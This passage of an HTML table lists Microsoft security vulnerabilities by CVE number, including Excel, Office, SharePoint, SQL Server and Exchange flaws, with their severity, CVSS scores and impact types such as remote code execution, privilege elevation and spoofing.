  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
